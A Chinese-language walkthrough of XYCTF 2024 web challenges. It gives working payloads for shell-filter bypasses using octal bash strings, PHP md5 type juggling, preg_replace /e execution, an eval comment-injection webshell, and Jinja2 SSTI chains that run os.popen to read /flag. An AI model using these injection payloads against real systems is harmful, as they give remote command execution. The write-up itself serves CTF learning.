复现xyctf2024
XYCTF:
EZhttp:
进行dirsearch查看有没有其他东西;发现robots.txt文件,然后一步一步进行,发现账号和密码 |
EZMAKE:
先测试一下一些命令;然后试试新学的echo $(<flag)这个命令是将flag给重定向出来然后echo出来
发现被过滤双写试试得到flag
ez?Make:
然后上面的方法用不了了;可以试试pwd查看当前的目录;然后看看cd ..可以用吗,发现可以使用;
ok了,可以cd ..&&cd ..&&cd ..&&more [d-h][k-m][k-m][9-z][]e-h进行正则匹配
εZ?¿м@Kε¿?:
发现/^[$|(|)|@|[|]|{|}|< | >|-]+$/只能使用这里面的符号,那flag怎么办;
应该是特殊符号表示flag测试发现$<可以表示flag,然后在linux里面$()也是可以进行打印的;
然后$(<$<)打印flag,但是有过滤;进行双写绕过;出来flag了
EZRCE:
['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; |
只能使用这个发现是0-9 然后有<可以进行重定向操作;使用8进制以及bash中的string语法;
?cmd=$’\154\163’ (ls)发现存在文件,可以使用重定向操作给flag打印出来;?cmd=$’\143\141\164’<$’\057\146\154\141\147’
(cat </flag)
EZCLASS:
发现报错可以想到异常类;new Error()->getMessage()能够获取到字符串
a=Error&b=Error&aa=system&bb=cat /[a-z][a-z]*&c=getMessage
warm up:
`<?phpinclude 'next.php';highlight_file(__FILE__);$XYCTF = "Warm up";extract($_GET);if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) { echo "ez" . "<br>";} else { die("什么情况,这么基础的md5做不来");}if (isset($md5) && $md5 == md5($md5)) { echo "ezez" . "<br>";} else { die("什么情况,这么基础的md5做不来");}if ($XY == $XYCTF) { if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) { echo $level2; } else { die("什么情况,这么基础的md5做不来"); }} else { die("学这么久,传参不会传?");}`什么情况,这么基础的md5做不来 |
这个就是md5绕过了:
?val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017 |
首先使用数组绕过然后0e215962017这个是他是md5值等于他自己
然后访问:LLeeevvveeelll222.php
`<?phphighlight_file(__FILE__);if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) { echo "操作你O.o"; echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level} else { die("有点汗流浃背");}` |
然后数组可以绕过preg_math和preg_match
POST:a[]=1
GET:?a=/1/e&b=(想执行的命令)&c=test(结束)
牢牢记住,逝者为大:
`<?phphighlight_file(__FILE__);function Kobe($cmd){ if (strlen($cmd) > 13) { die("see you again~"); } if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) { die("肘死你"); } foreach ($_GET as $val_name => $val_val) { if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) { return "what can i say"; } } return $cmd;}$cmd = Kobe($_GET['cmd']);echo "#man," . $cmd . ",manba out";echo "<br>";eval("#man," . $cmd . ",mamba out");`#man,,manba out |
首先限制我们传cmd的长度要在小于13,然后过滤了一些命令
因为是单行注释,利用url编码给他添加%0a(换行符对应URL编码,接下来是执行语句,我们暂时放一边,此时要想办法让后边的不执行,因此利用URL编码添加%23即#号注释掉后边的,此时中间就可以写shell了。
长度的话可以传新的参数cmd=%0a$_GET[a]
;%23
这个新的参数a的话可以执行命令但是需要进行bash执行,即8进制(记得加$’’)
这里我用的是:a=cp /flag nn 就是将/flag给复制下来,然后访问nn的时候会自动下载出来,然后flag就出来了,不过要记得用bash执行
我是一个复读机 :
from flask import * |
看源码出来账号:admin/asdqwe
然后进入复读机模式:
一眼SSTI,注意到
{{}}、{%%}、_、' |
都被ban了,这我还注个集贸啊😡,然后试试其他的,发现当你输入特殊字符的时候会被执行为
{{}} |
然后就使用request和|attr组合技打:
?sentence=😡(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()😡&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag |
或者
?sentence=😡lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()😡&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read |
?sentence=我是()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.l)|attr(request.values.d)(request.values.k)(request.values.h)&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&l=__builtins__&k=eval&h=__import__("os").popen("cat /flag").read() |